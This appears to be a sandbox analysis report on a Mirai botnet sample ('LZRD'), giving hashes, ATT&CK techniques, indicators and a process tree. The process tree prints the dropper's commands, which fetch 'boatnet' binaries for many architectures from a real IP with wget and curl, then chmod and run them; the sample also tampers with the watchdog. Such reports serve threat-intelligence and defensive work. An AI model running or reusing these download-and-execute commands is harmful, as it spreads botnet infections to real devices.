mirai | ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670

Analysis

max time kernel
149s
max time network
146s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/09/2026, 19:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
Size 2KB
Sample260910-x3cbnsxvct
SHA256 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
MD5 aaab1bcd002dcf8c1669c85036c02580
SHA1 6ab02b41c1bf8c50bafadf5ee188754241ceb18d
SHA512 ece026ac173dbf9c5210b47afbc7e1489532d33bd187ed642f4268c7b035dd177b23227ca1db0fc94669f0193efa45f8cccb079f19a365eeee78232dd953171c
TLSH
T1B051C486C56E6E32A11EDF0EB751C2BD200141BFADE393F0DD6AC71902868F175E6B16
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet lzrd defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

LZRD

93.152.221.22

Extracted

Family

mirai

93.152.221.22

Extracted

Family

mirai

Botnet

LZRD

93.152.221.22

Extracted

Family

mirai

Botnet

LZRD

93.152.221.22

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
847	chmod
864	chmod
743	chmod
804	chmod
896	chmod
901	chmod
752	chmod
760	chmod
780	chmod
830	chmod
839	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/WTF	737	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	747	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	755	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	775	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	798	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	825	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	834	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	842	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	858	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/WTF	898	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

Reads runtime system information 39 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/849/cmdline	WTF
File opened for reading	/proc/870/cmdline	WTF
File opened for reading	/proc/877/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/434/cmdline	WTF
File opened for reading	/proc/857/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/679/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/841/cmdline	WTF
File opened for reading	/proc/873/cmdline	WTF
File opened for reading	/proc/708/cmdline	WTF
File opened for reading	/proc/810/cmdline	WTF
File opened for reading	/proc/823/cmdline	WTF
File opened for reading	/proc/862/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/659/cmdline	WTF
File opened for reading	/proc/707/cmdline	WTF
File opened for reading	/proc/851/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/676/cmdline	WTF
File opened for reading	/proc/706/cmdline	WTF
File opened for reading	/proc/784/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/680/cmdline	WTF
File opened for reading	/proc/699/cmdline	WTF
File opened for reading	/proc/833/cmdline	WTF
File opened for reading	/proc/845/cmdline	WTF
File opened for reading	/proc/675/cmdline	WTF
File opened for reading	/proc/815/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/710/cmdline	WTF
File opened for reading	/proc/716/cmdline	WTF
File opened for reading	/proc/825/cmdline	WTF
File opened for reading	/proc/828/cmdline	WTF

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
747	WTF
738	rm
740	wget
746	curl
751	cat

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm6	wget

/tmp/ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
/tmp/ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:710
- /bin/rm
  rm -rf boatnet.x86 WTF
  2⤵
  PID:712
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/rm
  rm -rf boatnet.mips WTF
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/rm
  rm -rf WTF
  2⤵
  PID:739
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:742
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/WTF
  ./WTF telnet.x86
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/rm
  rm -rf boatnet.arc WTF
  2⤵
  PID:748
- /bin/rm
  rm -rf WTF
  2⤵
  PID:749
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/WTF
  ./WTF telnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:747
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/rm
  rm -rf boatnet.mpsl WTF
  2⤵
  PID:756
- /bin/rm
  rm -rf WTF
  2⤵
  PID:757
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:758
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/WTF
  ./WTF telnet.arc
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/rm
  rm -rf boatnet.arm WTF
  2⤵
  PID:776
- /bin/rm
  rm -rf WTF
  2⤵
  PID:777
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:779
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/WTF
  ./WTF telnet.mpsl
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:775
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/rm
  rm -rf boatnet.arm5 WTF
  2⤵
  PID:799
- /bin/rm
  rm -rf WTF
  2⤵
  PID:801
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:802
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:803
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/WTF
  ./WTF telnet.arm
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/rm
  rm -rf boatnet.arm6 WTF
  2⤵
  PID:826
- /bin/rm
  rm -rf WTF
  2⤵
  PID:827
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:828
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:829
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/WTF
  ./WTF telnet.arm5
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/rm
  rm -rf boatnet.arm7 WTF
  2⤵
  PID:835
- /bin/rm
  rm -rf WTF
  2⤵
  PID:836
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:837
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:838
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/WTF
  ./WTF telnet.arm6
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/rm
  rm -rf boatnet.ppc WTF
  2⤵
  PID:843
- /bin/rm
  rm -rf WTF
  2⤵
  PID:844
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:845
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:846
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/WTF
  ./WTF telnet.arm7
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/rm
  rm -rf boatnet.m68k WTF
  2⤵
  PID:859
- /bin/rm
  rm -rf WTF
  2⤵
  PID:860
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:862
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:863
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/WTF
  ./WTF telnet.ppc
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/rm
  rm -rf boatnet.sh4 WTF
  2⤵
  PID:892
- /bin/rm
  rm -rf WTF
  2⤵
  PID:893
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:894
- /usr/bin/wget
  wget http://93.152.221.22/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /usr/bin/curl
  curl -O http://93.152.221.22/hiddenbin/boatnet.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/rm
  rm -rf WTF
  2⤵
  PID:899
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:900
- /bin/chmod
  chmod 777 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:901

/tmp/WTF
./WTF telnet.sh4
1⤵
PID:898

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WTF

Path /tmp/WTF
Size 202KB
SHA256 77820b9edff723a4c6ad8752c1cc5b443fccf57aaca82944598e28a847508286
MD5 846f8c82853098b8289f40d63462dba9
SHA1 f31dc663880b6ff602ed5c2ce08e44e4847465a3
SHA512 3604a48dcbb5d426fc3c6cf3b741994d178d17cf0fd911fb2eb46bbf32dba7fdf7175418f03ddaee71da60e958bb546ef3bbf6180d713cc5a26fb1206e0a19e2
SSDEEP 3072:QDy7dLvKdqzLH6p3o1s7n+Xnn3Z+32Em6hh1Pf65:QDy7dLSdqXa2G7Yn03D9fc
TLSH
T1A214B80E6E228F7EF6A9C73547B78E24975823D613E1D645E1ACD2111E2038E641FFE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 153KB
SHA256 254fcb123b2574664ecc127e02e842eb8996095dc4c7788eeb446a6822bb8752
MD5 117c23de7f9d8b025ad637ef44cdde94
SHA1 8637eeef51e9404ab930795b451c3e4ba6922fb9
SHA512 f818fe22edcde84c83ee89444f919e2f3f6301cff63239a6c17cc99b0095414c60004a363f0d47600f5beb81b145f2b7577c6da22ff891a2126de84134691457
SSDEEP 3072:JbUCLX2tCmjRuuKX+3kWctWHaFL5EQg5CrdtRTPub01iHq:xpajnKM36FL5EjCrdtwHq
TLSH
T134E39FB3F30B1051C42306F417CBAB9C2E3315425F6B86E3BCAA313A2A765DE5915BE5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 206KB
SHA256 1cf42fc4fe44fda09cbdaf754ae9589ab7690b1078467a465f23b86c0a28e329
MD5 5c0a11d33090f1f16f54fd450f90f096
SHA1 78ca406d75d6442a05f76eccc1cead764de6b570
SHA512 83c99cd4ccbdb0405943b352fc5a14f0fdc10d0bf1f1ae87b4f1c86e41854682d8c1bc9bd66b28ebbbee4050d8185009bf88ea1b567822f30e768bebba4b56b9
SSDEEP 3072:h2JZLxaR4kaDFhnOllYSUPzVqLezyH6hh1P8U:h2JZLoR4kWFeYSUwLg8
TLSH
T14824E80AAF510EBBDCABCD3702EA1B0128CC541721A57B767274D518F54BA4F1AE3DB8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 219KB
SHA256 66561bbde233bc5a7d8ad40543bfa0b3a895e7da0f5745ca9e67968295b52b7a
MD5 42ddf0dc89d11ee6251edc09695a5c63
SHA1 295e0845206bf66a291a049ea5329b2bd9d01f18
SHA512 9ec53d4c409463d2a0469509b662bc170f6beed8052a63888c14b9126eb81909620fadfa76b3367a2a788add49554329039856d081e29c3fd047f892cf7cc8e4
SSDEEP 6144:YOuclljNfSYdqozddJb6EuvGwmH2WBLB5n:YINfqozFbIvGwmH1BLB5n
TLSH
T1AD244863D4205EA7C1959B7460AA9B321B33D09543836F7E666AC2B43C43F5CFD0ABE4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boatnet.x86

Path /tmp/boatnet.x86
Size 120KB
SHA256 9ce6baace15dff75745ab8028f5d49dcc18082e7110dc035fa20328a4d2c935c
MD5 792c404e80a608d6275f5a76002028a6
SHA1 b6b0b78a2333bf09944261096ac5e10aef6f376b
SHA512 46e0f0d4a5a8c9afef97cda660b6bdd6251b4b7687c78e23d7f3e76c1bfc7281e7b663ca7ff3dc69e91ea35df72dc885269615a730c1bc84c661ac38860c905b
SSDEEP 3072:qXmkYDpMgztjHQ8bigC93mtevNVw3w0Y83ESF4G0hAB1Qi:0/YDmqVHPOgC9WtAP0ZJ4GSi
TLSH
T11FC36CD5F643D4FADD5305B12037BB378F32D07B1129EA83E7785A22AC61A01D61AB9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads